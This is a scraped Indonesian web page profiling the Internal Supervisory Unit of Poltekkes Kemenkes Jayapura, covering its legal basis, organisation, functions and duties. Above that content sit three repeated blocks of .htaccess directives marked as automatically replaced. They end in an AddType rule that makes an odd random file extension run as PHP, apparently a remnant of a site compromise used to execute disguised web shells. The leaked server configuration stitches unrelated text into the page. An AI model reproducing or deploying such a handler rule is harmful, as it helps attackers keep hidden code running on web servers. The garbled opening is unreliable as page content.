# .htaccess diganti otomatis Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Allow,Deny Deny from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order allow,deny Allow from all AddType Application/x-httpd-php .Affjfkkfkfg# .htaccess diganti otomatis Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Allow,Deny Deny from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order allow,deny Allow from all AddType Application/x-httpd-php .Affjfkkfkfg# .htaccess diganti otomatis Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Deny,Allow Deny from all Order Allow,Deny Deny from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order Deny,Allow Allow from all Order allow,deny Allow from all AddType Application/x-httpd-php .Affjfkkfkfg Profil - Satuan Pengawas Internal

Profil

Satuan Pengawas Internal yang selanjutnya disingkat SPI adalah organ yang berkedudukan langsung di bawah Direktur, yang menjalankan fungsi pengawasan nonakademik untuk dan atas nama Direktur. SPI memiliki tugas melaksanakan pengawasan, pengendalian, konsultasi secara obyektif dan independen untuk memberikan nilai tambah, meningkatkan kinerja, serta membantu Direktur dalam meningkatkan efektifitas manajemen risiko.

  1. Landasan Pembentukan

Landasan pembentukan Satuan Pengawas Internal pada Poltekkes Kemenkes Jayapura tercantum pada Peraturan Menteri Kesehatan RI Nomor 38 Tahun 2018 tentang Organisasi dan Tata Kelola Politeknik Kesehatan di Lingkungan Badan PPSDM Kesehatan, Pasal 6 yang menyatakan bahwa “Susunan Organisasi Poltekkes, terdiri atas: antara lain Satuan Pengawas Internal”.

Secara khusus, pembentukan SPI pada Poltekkes Kemenkes Jayapura yang menerapkan pengelolaan keuangan Badan Layanan Umum (BLU) adalah:

  1. Peraturan Pemerintah Nomor 74 tahun 2012 tentang Perubahan atas Peraturan Pemerintah Nomor 23 tahun 2005 tentang Pengelolaan Keuangan Badan Layanan Umum, Pasal 35 ayat (1) yang menyatakan bahwa “Pemeriksaan intern BLU dilaksanakan oleh satuan pemeriksaan intern yang merupakan unit kerja yang berkedudukan langsung di bawah pimpinan BLU”;
  2. Peraturan Menteri Keuangan RI Nomor:202/PMK.05/2017, tentang Sistem Pengendalian Intern pada Badan Layanan Umum, Pasal 4 yang menyatakan bahwa “Untuk memastikan efektifitas Sistem Pengendalian Internal, Pemimpin BLU membentuk SPI.
  3. Peraturan Menteri Keuangan nomor 202/PMK.05/2022 Tentang Perubahan atas Peraturan Menteri Keuangan nomor 129/PMK.05/2020 tentang Pedoman Pengelolaan BAdan Layanan Umum.
  4. SK Kemenkeu Nomor 316 tahun 2024 tanggal 7 Agustus 2024
  5. Kedudukan,Pengorganisasian, Fungsi, Peran dan Tugas Satuan Pengawas Internal (SPI)

 

  1. Kedudukan

Kedudukan SPI berada di bawah dan bertanggung jawab langsung kepada Direktur. Sesuai dengan kedudukannya, SPI wajib:

  1. Independen terhadap unit-unit lainnya dan tidak terlibat dalam aktivitas sehari-hari atau bertanggung jawab langsung atau memiliki kewenangan kegiatan terhadap kegiatan unit kerja yang diaudit oleh SPI.
  2. Dalam kondisi dimana Tim SPI terlibat dalam kegiatan atau merupakan bagian dari kegiatan yang menjadi obyek pengawasan, maka Tim SPI tersebut harus membuat pernyataan atau komitmen tertulis untuk independen atau menarik diri dari kegiatan pengawasan pada kegiatan pengawasan terhadap obyek tersebut.
  3. Menyampaikan laporan kegiatan kepada Direktur.
  4. Menyampaikan laporan kegiatan kepada Dewan Pengawas BLU sesuai ketentuan.
  5. Laporan dapat disampaikan kepada Inspektorat Jenderal Kemenkes jika diminta secara tertulis dan melalui persetujuan
  6. Tidak diberi tanggung jawab penuh dalam pengembangan suatu sistem baru, kecuali memberikan pendapatnya atas metode dan standar pengendalian dari sistem baru tersebut.

 

  1. Pengorganisasian

Kedudukan SPI berada di bawah dan bertanggung jawab langsung kepada Direktur serta Independen dalam menjalankan tugas dan fungsinya. Ketentuan dalam hal pengorganisasian sebagai berikut:

  1. SPI terdiri atas 1 (satu) orang auditor SPI atau lebih dan dipimpin oleh kepala SPI.
  2. Kebutuhan jumlah auditor SPI dihasilkan dari analisis beban kerja yang dilakukan oleh SPI dan/atau bagian Kepegawaian.
  3. Struktur organisasi SPI terdiri dari:


-Kepala
-Sekretaris
-Anggota (minimal 1 orang)


Jumlah auditor SPI disesuaikan dengan besaran dan tingkat kompleksitas kegiatan satuan kerja.

 

  1. Kepala SPI diangkat dan diberhentikan oleh Direktur.
  2. Kepala SPI diangkat dan diberhentikan oleh Direktur dengan persetujuan Dewan Pengawas.(JIka Dewas Sudah ADA)
  3. Kepala SPI bertanggung jawab secara langsung kepada Direktur.
  4. Auditor SPI bertanggung jawab langsung kepada Kepala SPI.
  5. Auditor SPI dilarang merangkap tugas dan jabatan dari pelaksanaan kegiatan manajerial, kecuali tugas dan jabatan pada fungsi kepatuhan dan fungsi manajemen risiko.
  6. Fungsi

Dalam melaksanakan tugasnya SPI menjalankan fungsinya sebagai berikut:

  1. Memastikan bahwa sistem pengendalian internal telah berjalan secara memadai dan sesuai dengan ketentuan.
  2. Menjadi mitra strategis dalam penyempurnaan kegiatan tata kelola Poltekkes Kemenkes Jayapura yang sesuai dengan prinsip-prinsip Good and CleanGovernance.
  3. Menjadi mitra strategis dalam penerapan manajemen risiko.
  4. Menjadi mitra strategis sebagai konsultan internal terhadap berbagai kondisi dan permasalahan.
  5. Menjadi mitra strategis sebagai fasilitator, bimbingan teknis dan pelatihan dalam rangka memberikan edukasi kepada pegawai dalam rangka pengendalian internal, dan pelaksanaan tata kelola Poltekkes Kemenkes Jayapura yang efektif dan efisien.
  6. Berperanaktif dalam melakukan pengendalian internal dan pengawasan berbasis risiko.
  7. Melaporkan kegiatan pengendalian internal dan pengawasan kepada Direktur.
  8. Peran

Untuk mendukung kedudukan dan fungsi pengawasan dilingkungan Poltekkes Kemenkes Jayapura, SPI memiliki peran sebagai berikut :

  1. Assurance (Pengawas)
    Memberikan keyakinan yang memadai atas ketaatan, kehematan, efisiensi, dan efektivitas pencapaian tujuan penyelenggaraan tugas dan fungsi Poltekkes Kemenkes Jayapura (assurance activities) yang dilakukan melalui kegiatan:
    1. Audit;
    2. Riviu;
    3. Evaluasi dan Pemantauan

    4. Consultant(Konsultan)

Memberikan masukan yang dapat menjaga dan meningkatkan kualitas tata kelola penyelenggaraan tugas dan fungsi Poltekkes Kemenkes Jayapura (consulting activities) yang dilakukan melalui :

  1. Asistensi;
  2. Konsultasi,
  3. Fasilitasi maupun pelatihan.
  1. Anti Corruption (Pencegah Korupsi)
  2. Memberikan peringatan dini dan meningkatkan efektivitas manajemen risiko dalam penyelenggaraan tugas dan fungsi Poltekkes Kemenkes Jayapura (anti corruption activities).

 

  1. Tugas Pokok

Berkaitan dengan perannya SPI mempunyai tugas pokok:

  1. Menyusun dan melaksanakan Program Kerja Pengawasan Tahunan (PKPT);
  2. Menguji dan mengevaluasi pelaksanaan pengendalian internal sistem manajemen risiko yang dilaksanakan oleh manajerial/pengelola;
  3. Melakukan pemeriksaan dan penilaian atas efisiensi dan efektivitas di bidang keuangan, akuntansi, kegiatan, sumber daya manusia, pemasaran, teknologi informasi, dan kegiatan lainnya;
  4. Memberikan rekomendasi;
  5. Perbaikan dan informasi yang objektif tentang kegiatan yang diawasi pada semua tingkat manajemen;
  6. Memberikan rekomendasi terhadap perbaikan atau peningkatan proses tata kelola dan upaya pencapaian visi dan misi Poltekkes Kemenkes Jayapura;
  7. Membuat laporan hasil pengawasan internal dan menyampaikan laporan tersebut kepada Direktur;
  8. Menyampaiakan laporan kegiatan kepada Dewan Pengawas sesuai dengan ketentuan;
  9. Memantau, menganalisis, dan melaporkan pelaksanaan tindak lanjut rekomendasi pengawasan oleh SPI, Itjen, dan Aparat Pemeriksaan Ekstern Pemerintah.
  10. Melakukan reviu, evaluasi dan pemantauan;
  11. Melakukan pemeriksaan khusus apabila diperlukan; dan
  12. Melaksanakan tugas lainnya berdasarkan penugasan sesuai dengan ketentuan yang berlaku.

  13. Wewenang dan Tanggung jawab SPI
  14. Wewenang SPI

SPI dalam melaksanakan tugas memiliki kewenangan sebagai berikut:

  1. Mendapatkan akses/informasi/keterangan yang tidak terbatas terhadap dokumen, pencatatan diseluruh pelaksana kegiatan pada Poltekkes Kemenkes Jayapura;
  2. Melakukan komunikasi secara langsung dengan pimpinan Poltekkes Kemenkes Jayapura;
  3. Melakukan komunikasi secara langsung dengan Dewan Pengawas BLU (Jika Sudah ADA);
  4. Mengadakan rapat secara berkala dan insidentil dengan pimpinan Poltekkes Kemenkes Jayapura;
  5. Dapat mengadakan rapat secara berkala dan insidentil dengan Dewan Pengawas BLU (Jika Sudah ADA);
  6. Melakukan koordinasi dengan Itjen dan/atau aparat pemeriksaan ekstern pemerintah; dan
  7. Mendampingi atau fasilitasi Itjen dan/atau aparat pemeriksaan ekstern pemerintah dalam melakukan pengawasan pada Poltekkes Kemenkes Jayapura.
  8. Tanggung Jawab

Dalam pelaksanaan tugasnya, SPI bertanggung jawab kepada Direktur. Tanggung jawab dari SPI antara lain:

  1. Memastikantersusunnya rencana  Program Kerja Pengawasan Tahunan (PKPT), termasuk anggarannya dan dapat mengkonsultasikannya kepada Direktur;
  2. Menjamin terlaksananya Program Kerja Pengawasan Tahunan (PKPT) yang telah disetujui termasuk penugasan khusus dari Direktur;
  3. Memastikan obyektivitas dan integritas dalam bertindak secara profesional;
  4. Memastikan terlaksananya fasilitasi dan koordinasi kegiatan audit, reviu, evaluasi, pemantauan dan kegiatan pengawasan lainnya yang dilakukan oleh Itjen dan auditor eksternal;
  5. Mendorong penerapan good and clean governance.